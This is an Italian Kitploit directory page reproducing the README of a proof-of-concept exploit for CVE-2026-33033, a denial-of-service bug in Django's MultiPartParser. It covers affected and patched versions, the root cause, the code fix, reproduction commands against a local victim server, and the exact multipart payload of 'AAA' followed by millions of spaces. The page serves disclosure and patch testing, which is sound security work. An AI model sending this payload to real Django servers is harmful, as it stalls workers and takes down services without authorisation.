Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-33033-PoC — Proof-of-concept exploit per CVE-2026-33033, una vulnerabilità denial-of-service nel MultiPartParser di Django tramite amplificazione CPU da spazi bianchi in base64, che dimostra un'amplificazione di ~800x con una singola richiesta HTTP. | Kitploit
Strumenti/GitHubGitHub/ch4n3-yoon/cve-2026-33033-poc
Analisi delle VulnerabilitàExploitSicurezza WebPenetration Testing
GitHubch4n3-yoon/cve-2026-33033-poc

CVE-2026-33033-PoC

Proof-of-concept exploit per CVE-2026-33033, una vulnerabilità denial-of-service nel MultiPartParser di Django tramite amplificazione CPU da spazi bianchi in base64, che dimostra un'amplificazione di ~800x con una singola richiesta HTTP.

Vedi Repository
214 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-33033 PoC

Denial-of-service tramite amplificazione CPU da spazi bianchi in base64 in MultiPartParser di Django

Una singola richiesta HTTP da 2,5 MB può bloccare un worker Django per ~5 secondi, ottenendo un'amplificazione CPU di ~2.100x rispetto a una richiesta normale della stessa dimensione. Non è richiesta alcuna autenticazione.

Versioni Affette

Questa vulnerabilità è stata corretta nella release di sicurezza Django 6.0.4 (7 aprile 2026), insieme ai backport per tutti i branch supportati.

BranchAffettoCorretto
Django 6.0.x<= 6.0.36.0.4
Django 5.2.x<= 5.2.115.2.12
Django 5.1.x<= 5.1.x5.1.16
Django 5.0.x<= 5.0.145.0.15
Django 4.2.x<= 4.2.284.2.29

Descrizione Ufficiale

CVE-2026-33033: Potenziale vulnerabilità denial-of-service in MultiPartParser tramite upload di file codificati in base64 (Severità: Moderata)

Quando si utilizza django.http.multipartparser.MultiPartParser, gli upload multipart con Content-Transfer-Encoding: base64 che includono spazi bianchi eccessivi possono innescare copie di memoria ripetute, degradando potenzialmente le prestazioni.

— Note di rilascio Django 6.0.4

Altre vulnerabilità di sicurezza corrette in Django 6.0.4

CVESeveritàDescrizione
CVE-2026-3902BassaSpoofing degli header ASGI tramite confusione underscore/trattino
CVE-2026-4277BassaAbuso di privilegi in GenericInlineModelAdmin
CVE-2026-4292BassaAbuso di privilegi in ModelAdmin.list_editable
CVE-2026-33034BassaBypass del limite di upload in memoria ASGI tramite Content-Length mancante

Riepilogo della Vulnerabilità

MultiPartParser di Django ha un percorso di codice speciale per gestire le parti di file con Content-Transfer-Encoding: base64. Dopo aver rimosso gli spazi bianchi da ogni chunk, se il risultato non è allineato a un multiplo di 4 byte, un ciclo while chiama field_stream.read(1) per recuperare byte aggiuntivi uno alla volta.

Quando il corpo del file è quasi interamente composto da spazi bianchi, ogni byte recuperato viene ridotto a nulla, quindi il ciclo continua — chiamando read(1) una volta per ogni byte di spazio bianco. Il punto critico è che ogni read(1) è molto più costoso di quanto sembri:

Tre livelli di amplificazione

root@kitploit:~
Livello 1:  il ciclo di allineamento base64 chiama read(1) per ogni byte di spazio bianco
              |
Livello 2:  LazyStream.read(1) recupera l'intero resto (~64 KB), ne estrae 1 byte,
          e rimette indietro ~64 KB - 1  -->  copia di byte O(C) per chiamata
              |
Livello 3:  unget() esegue  self._leftover = bytes + self._leftover
          creando un nuovo oggetto bytes ogni volta  -->  memcpy di ~C byte

Per ogni chunk da 64 KB, il lavoro di copia forma una serie aritmetica:

root@kitploit:~
Totale = (C-1) + (C-2) + ... + 1 = C(C-1)/2 ~ 2,15 miliardi di operazioni sui byte

Per un input da 2,5 MB (~40 chunk): ~86 miliardi di byte di lavoro memcpy da una singola richiesta HTTP.

Bypass della protezione esistente

Django include _update_unget_history() che solleva SuspiciousMultipartForm se lo stesso conteggio di byte viene rimesso indietro 40+ volte in 50 operazioni. Tuttavia, in questo attacco le dimensioni di unget sono monotonicamente decrescenti (65535, 65534, 65533, ...), quindi ogni dimensione è unica e il controllo non scatta mai.

Trigger pre-view

Il middleware CSRF accede a request.POST prima che qualsiasi view venga eseguita, quindi anche gli endpoint che restituiscono 403 incorrono nel costo completo del parsing.

Struttura del Repository

root@kitploit:~
CVE-2026-33033-PoC/
├── README.md           # Questo file
├── LICENSE
├── requirements.txt    # Dipendenze Python
├── exploit.py          # Script di exploit
└── victim/             # Server Django vulnerabile
    ├── manage.py
    ├── uwsgi.ini       # Configurazione di deployment uWSGI
    └── victim/
        ├── __init__.py
        ├── settings.py  # Default Django (nessuna configurazione speciale richiesta)
        ├── urls.py      # Endpoint /upload e /health
        └── wsgi.py

Passaggi di Riproduzione

1. Clonare e configurare

root@kitploit:~
git clone https://github.com/ch4n3-yoon/CVE-2026-33033-PoC.git
cd CVE-2026-33033-PoC

python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt

2. Avviare il server vittima

Opzione A: Server di sviluppo Django (il più rapido)

root@kitploit:~
cd victim
python manage.py runserver 0.0.0.0:8000

Opzione B: uWSGI (più realistico — utilizza 4 worker)

root@kitploit:~
cd victim
uwsgi --ini uwsgi.ini

3. Eseguire l'exploit

In un terminale separato:

root@kitploit:~
source venv/bin/activate
python exploit.py --target http://127.0.0.1:8000/upload

Opzioni:

FlagDefaultDescrizione
--targethttp://127.0.0.1:8000/uploadEndpoint di upload di destinazione
--size2621440 (2,5 MB)Dimensione del payload in byte
--rounds3Numero di round di attacco

4. Output atteso

root@kitploit:~
============================================================
CVE-2026-33033 PoC
Denial-of-service tramite amplificazione CPU da spazi bianchi
in base64 in Django MultiPartParser
============================================================

Target:       http://127.0.0.1:8000/upload
Payload size: 2.621.440 byte (2,5 MB)
Rounds:       3

[*] Verifica dello stato di salute del server...
[+] Il server è attivo.

------------------------------------------------------------
[*] Fase 1: Invio di richiesta BENIGNA (dati base64 normali)
------------------------------------------------------------
    Stato: 200
    Tempo:   5,55 ms

------------------------------------------------------------
[*] Fase 2: Invio di richieste MALIZIOSE (base64 + spazi bianchi)
------------------------------------------------------------

  Round 1/3:
    Stato: 200
    Tempo:   4571,12 ms
  ...

============================================================
RISULTATI
============================================================
  Richiesta benigna:          5,55 ms
  Media attacco:           4571,12 ms  (su 3 round)
  Amplificazione:              823x

[!] VULNERABILE: Il tempo medio di attacco supera 1 secondo.
    Una singola richiesta da 2,5 MB blocca un worker per ~4,6s.
    Con 4 worker, bastano 4 richieste concorrenti per fare DoS al server.

Come Funziona l'Exploit

L'exploit costruisce un corpo POST multipart/form-data con una singola parte di file:

root@kitploit:~
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----CVE2026-33033
Content-Length: 2621552

------CVE2026-33033
Content-Disposition: form-data; name="file"; filename="poc.bin"
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64

AAA<2.621.433 spazi>A
------CVE2026-33033--
  1. Il AAA iniziale fa sì che stripped_chunk = b"AAA" (3 byte), quindi remaining = 3 % 4 = 3.
  2. Il ciclo while chiama field_stream.read(1) per recuperare 1 byte aggiuntivo per l'allineamento.
  3. Ogni byte di spazio viene ridotto a nulla (b"".join(b" ".split()) == b""), mantenendo remaining = 3.
  4. Il ciclo continua per ogni byte di spazio bianco nello stream.
  5. Ogni LazyStream.read(1) copia internamente ~64 KB tramite il meccanismo unget.

Codice Vulnerabile

django/http/multipartparser.py, righe 302-325 (Django 5.0.x):

root@kitploit:~
for chunk in field_stream:
    if transfer_encoding == "base64":
        stripped_chunk = b"".join(chunk.split())

        remaining = len(stripped_chunk) % 4
        while remaining != 0:
            over_chunk = field_stream.read(4 - remaining)   # <-- read(1)
            if not over_chunk:
                break
            stripped_chunk += b"".join(over_chunk.split())   # si riduce a vuoto
            remaining = len(stripped_chunk) % 4               # rimane a 3

Patch

La correzione (applicata in Django 6.0.4 / 5.2.12 / 5.1.16 / 5.0.15 / 4.2.29) sostituisce il ciclo per-byte read(1) con un read(self._chunk_size) in blocco:

root@kitploit:~
-                                stripped_chunk = b"".join(chunk.split())
+                                stripped_parts = [b"".join(chunk.split())]
+                                stripped_length = len(stripped_parts[0])

-                                remaining = len(stripped_chunk) % 4
-                                while remaining != 0:
-                                    over_chunk = field_stream.read(4 - remaining)
+                                while stripped_length % 4 != 0:
+                                    over_chunk = field_stream.read(self._chunk_size)
                                     if not over_chunk:
                                         break
-                                    stripped_chunk += b"".join(over_chunk.split())
-                                    remaining = len(stripped_chunk) % 4
+                                    over_stripped = b"".join(over_chunk.split())
+                                    stripped_parts.append(over_stripped)
+                                    stripped_length += len(over_stripped)
+
+                                stripped_chunk = b"".join(stripped_parts)

Modifiche chiave:

  1. read(4 - remaining) → read(self._chunk_size) — legge 64 KB alla volta invece di 1-3 byte, riducendo le chiamate di lettura da ~2,5 milioni a ~40.
  2. stripped_chunk += ... → stripped_parts.append(...) + b"".join() finale — evita la potenziale concatenazione quadratica dei byte.
  3. len(stripped_chunk) % 4 → contatore stripped_length — evita il ricalcolo ridondante della lunghezza.

Disclaimer

Questa proof-of-concept è fornita esclusivamente a scopo educativo e per test di sicurezza autorizzati. Utilizzala in modo responsabile e solo contro sistemi di cui sei proprietario o per cui hai esplicito permesso di test.

Licenza

Apache License 2.0 — vedi LICENSE.

Scarica lo strumento